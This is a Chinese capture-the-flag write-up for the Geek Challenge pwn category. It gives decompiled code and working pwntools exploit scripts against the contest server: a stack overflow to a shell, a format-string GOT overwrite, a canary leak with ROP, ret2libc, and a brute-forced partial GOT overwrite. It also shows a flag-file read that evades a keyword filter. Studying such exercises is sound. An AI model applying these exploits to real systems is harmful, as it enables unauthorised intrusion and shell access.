menu EDS
极客大挑战pwn
2280 浏览 | 2020-10-18 | 分类:pwn | 标签:极客大挑战pwn

极客大挑战pwn

数学咋样?

题目提供nc一个,连接后发现是让数学计算20次,提供的内容如下。

I have 20 tests
![0]  num_1 = 622, num_2 = 950
I can't calculate the expression 'num_1 + num_2'.
input your answer:

利用脚本将num1和num2提取出来,相加发送回去,脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'

r = remote('81.69.0.47',1111)

def getnum():
    r.recvuntil('num_1 = ')
    num1 = r.recvuntil(',')[:-1]
    r.recvuntil('num_2 = ')
    num2 = r.recvuntil('\n')[:-1]

    return int(num1)+int(num2)
for i in range(20):
    r.sendline(str(getnum()))

r.interactive()

执行得到flag

Ohhhhhh! Thank you my friend. I can give you a gift.
SYC{O==[]=====>l1u_zhu@ng}

liuzhuang-secret

题目提供elf文件一个,打开后按f5看到main()函数调用了gets()有明显的栈溢出漏洞。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-70h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("bro zhuang:\nhi,My house is quite big, Do you want to play with me?");
  gets(&v4, 0LL);
  puts("liu zhuang:\nThere are some nice things in my room");
  return 0LL;
}

题目提供了后门函数,但有使用条件。

int sub_40076B()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  v2 = rand();
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v2 == v1 )
    result = system("/bin/sh");
  return result;
}

利用栈溢出漏洞修改返回地址,直接跳到后门函数的system("/bin/sh");的部分getshell。题目溢出点为112。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./pwn00')
    gdb.attach(r,'b * 0x0400769')
else:
    r = remote('81.69.0.47',1000)
elf = ELF('./pwn00')
r.sendline(cyclic(112)+p64(0xdeadbeef)+p64(0x40079b))

r.interactive()

获得flagSYC{0H_you_b3come_A_PWNer}

fmt

题目提供elf文件一个,打开后按f5看到main()函数有明显的格式化字符串漏洞。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-50h]
  __int64 i; // [rsp+8h] [rbp-48h]
  char buf; // [rsp+10h] [rbp-40h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  seed = time(0LL);
  puts("hello world!");
  read(0, &buf, 0x30uLL);
  printf(&buf, &buf);
  srand(seed);
  for ( i = 0LL; i <= 15; ++i )
  {
    __isoc99_scanf("%ld", &v4);
    if ( rand() != v4 )
    {
      puts("hei! random number!!!");
      exit(0);
    }
  }
  puts("running sh");
  system("/bin/sh");
  return 0;
}

利用checksec工具查看该程序并未开启RELRO,可以修改got表。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

修改思路,直接利用格式化字符串漏洞将srand()的got表改成system("/bin/sh");的地址。通过测试printf()从第八个参数可以修改,脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./fmt')
    gdb.attach(r,'b * 0x0401266')
else:
    r = remote('81.69.0.47',2222)
elf = ELF('./fmt')
#r.sendline('aaaaaaaa'+'%8$p')
r.sendline('%'+str(0x12d4)+'c%10$hn'+'aaaa'+p64(0x404040))

r.interactive()

获得flagSYC{FFFFFFmtttttt_ssssoooo_g0000d}

runcode

题目提供信息如下。

简介:
题目地址: http://81.69.0.47:5555/
提示:
flag在/home/ctf/flag, 不允许出现system, 出现runtime error则重新run一下

网站为一个具有编译器功能的网站。


利用c语言获得flag并输出,dasctf曾出过一个比这个限制还多的c,直接粘贴进去获得flag。

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>


char s[60];
char ss[30];
char *t = "/hom";
char *tt = "e/c";
char *ttt = "tf/fla";
char *tttt = "g";

int main()
{   
    int in, out, fl;
    char buffer[1024];
    sprintf(ss, "%s%s%s%s", t, tt,ttt,tttt);
    puts(ss);
    out = open(ss,O_RDONLY);
    read(out, s, 40);
    write(1,s,40);

    return 0;
}

获得输出

your output:
SYC{C0din9_ls_E4sy_T0_You} /home/ctf/flag

baby_canary

题目提供elf文件一个,打开后按f5看到main()函数,main()调用的sub_40072A()函数有明显的栈溢出漏洞。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_4006E7(a1, a2, a3);
  puts("welcome to my world!");
  sub_40072A();
  return 0LL;
}

sub_40072A()函数

unsigned __int64 sub_40072A()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("I have some secret in here.");
  puts("may be you know it,plz tell me.");
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x200uLL);
    puts(&buf);
  }
  return __readfsqword(0x28u) ^ v3;
}

但是该题目存在canary保护,canary的值被覆盖后程序将报错退出,所以想覆盖返回地址必须要先泄露出canary的值,并在覆盖时将canary值放在对应位置。函数内puts()函数会连续输出两次栈内的信息,并且puts()函数会一直输出地址的内容直到\x00。利用第一次输入,将canary末尾的00覆盖成0a,这样在puts()时会将canary的值输出出来,利用u64()函数转换为对应数字,脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./baby_canary')
    gdb.attach(r,'b * 0x0400789')
else:
    r=remote('81.69.0.47',3333)

elf = ELF('./baby_canary')

r.sendline(cyclic(0x68))
r.recvuntil('zaab')
canary = u64(r.recv(8))-0xa
print hex(canary)

r.interactive()

该程序的sub_4007E0()函数提供了system()函数和/bin/sh字符串。

int sub_4007E0()
{
  puts("/bin/sh");
  return system("echo 'hello world'");
}

利用ROP_gadget工具找到控制rdi寄存器的代码段。

$ ROPgadget --binary baby_canary --only 'pop|ret'
Gadgets information
============================================================
0x000000000040086c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop r14 ; pop r15 ; ret
0x0000000000400872 : pop r15 ; ret
0x000000000040086b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400668 : pop rbp ; ret
0x0000000000400873 : pop rdi ; ret
0x0000000000400871 : pop rsi ; pop r15 ; ret
0x000000000040086d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : ret

Unique gadgets found: 11

最终脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'


local = 0
if local == 1:
    r=process('./baby_canary')
    gdb.attach(r,'b * 0x0400789')
else:
    r=remote('81.69.0.47',3333)

elf = ELF('./baby_canary')

rdi = 0x400873
system = elf.symbols['system']
binsh = elf.search('/bin/sh').next()
r.sendline(cyclic(0x68))
r.recvuntil('zaab')
canary = u64(r.recv(8))-0xa
print hex(canary)
print hex(u64(r.recv(6)+'\x00\x00'))
r.sendline(cyclic(0x68)+p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system))

r.interactive()

获得flagSYC{C4nary_1s_s0_Funny!!!}

pwn111

题目提供elf文件一个,打开后按f5看到main()函数有明显的栈溢出漏洞,但是题目并没有提供system()函数,所以我们需要先泄露libc地址,利用libc内的system()函数和/bin/sh字符串来获取系统权限。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-80h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "please input: ", 0xEuLL);
  read(0, &buf, 0x200uLL);
  return 0;
}

题目只提供了write()函数作为输出,所以只要要控制rsi寄存器内的参数。利用ROP_gadget工具找到控制rdi、rsi的汇编代码段。通过计算其溢出点为0x80

$ ROPgadget --binary pwn111 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040122c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040122e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401230 : pop r14 ; pop r15 ; ret
0x0000000000401232 : pop r15 ; ret
0x000000000040122b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040122f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040112d : pop rbp ; ret
0x0000000000401233 : pop rdi ; ret
0x0000000000401231 : pop rsi ; pop r15 ; ret
0x000000000040122d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret

Unique gadgets found: 11

由于pop rsi后,还有pop r15才能ret,所以我们需要在pop r15的时候放入一个0,泄露libc基地址的脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 1
if local == 1:
    r=process('./pwn111')
    gdb.attach(r,'b * 0x04011C5')
else:
    r=remote('81.69.0.47',1122)

elf = ELF('./pwn111')

rdi = 0x401233
rsir15 = 0x401231
main = elf.symbols['main']
write = elf.symbols['write']
libc_start_main_got = elf.got['__libc_start_main']
r.recvuntil('input: ')
r.sendline(cyclic(128)+p64(0xdeadbeef)+p64(rdi)+p64(1)+p64(rsir15)+p64(libc_start_main_got)+p64(0)+p64(write)+p64(main))
libc_addr = u64(r.recv(8))-libc.symbols['__libc_start_main']
print(libc_addr)

r.interactive()

题目提供了libc库文件,可以直接加载该文件获得system()函数和/bin/sh字符串的偏移。最终脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./pwn111')
    gdb.attach(r,'b * 0x04011C5')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('81.69.0.47',1122)

elf = ELF('./pwn111')
libc = ELF('./libc')

rdi = 0x401233
rsir15 = 0x401231
main = elf.symbols['main']
write = elf.symbols['write']
libc_start_main_got = elf.got['__libc_start_main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
r.recvuntil('input: ')
r.sendline(cyclic(128)+p64(0xdeadbeef)+p64(rdi)+p64(1)+p64(rsir15)+p64(libc_start_main_got)+p64(0)+p64(write)+p64(main))
libc_addr = u64(r.recv(8))-libc.symbols['__libc_start_main']
system += libc_addr
binsh += libc_addr
r.sendline(cyclic(128)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system))

r.interactive()

获得flagSYC{C0n9r4tulat1on_Y0u_F1nd_how2Rop}

pwn222

题目提供elf文件和libc文件各一个。用IDA打开发现程序只调用了read()、realpath()、setvbuf()函数,没有任何能够输出的函数,推测为ret2dlx64。但是!如果题目有非常规做法,我绝不会用常规做法去解一道题的!

由于read()函数为该程序唯一输入程序,不考虑对其下手。剩下有realpath()函数和setvbuf()函数,realpath()函数为比较高级的函数,其附近的函数不好利用,而根据提供的libc库文件发现setvbuf()函数距离puts()函数非常的近,考虑用read()函数构造ROP修改setvbuf()got表的后两位,将其修改为puts()函数,由于修改了倒数第二位,所以每次只有1/16的几率修改成功。



脚本如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

while True:
    try:
        r=remote('81.69.0.47',2212)
        elf = ELF('./pwn222')
        libc = ELF('./libc')
        rdi = 0x401233
        rsir15 = 0x401231
        leave = 0x4011aa
        bss = 0x404500
        setvbuf_got = elf.got['setvbuf']
        read = elf.symbols['read']
        fake_puts = elf.symbols['setvbuf']
        read_got = elf.got['read']
        print hex(setvbuf_got)

        #r.sendline(cyclic(32)+p64(bss-8)+p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0))
        make_puts = p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0)+p64(read)
        leak_read = p64(rdi)+p64(read_got)+p64(fake_puts)
        move_stack = p64(rdi)+p64(0)+p64(rsir15)+p64(bss)+p64(0)+p64(read)+p64(leave)
        exp = make_puts + leak_read + move_stack

        r.sendline(cyclic(32)+p64(bss-8)+exp)
        sleep(1)
        r.send(p16(0xf6a0))
        libc_addr = u64(r.recv(6)+'\x00\x00') - libc.symbols['read']
        system = libc_addr + libc.symbols['system']
        binsh = libc_addr + libc.search('/bin/sh').next()
        r.sendline(p64(rdi)+p64(binsh)+p64(system))
        sleep(1)
        r.sendline('cat flag')


        r.interactive()
    except:
        pass

得到结果

[*] Interrupted
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[*] Switching to interactive mode

SYC{super_r0p_do_not_t41k}

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!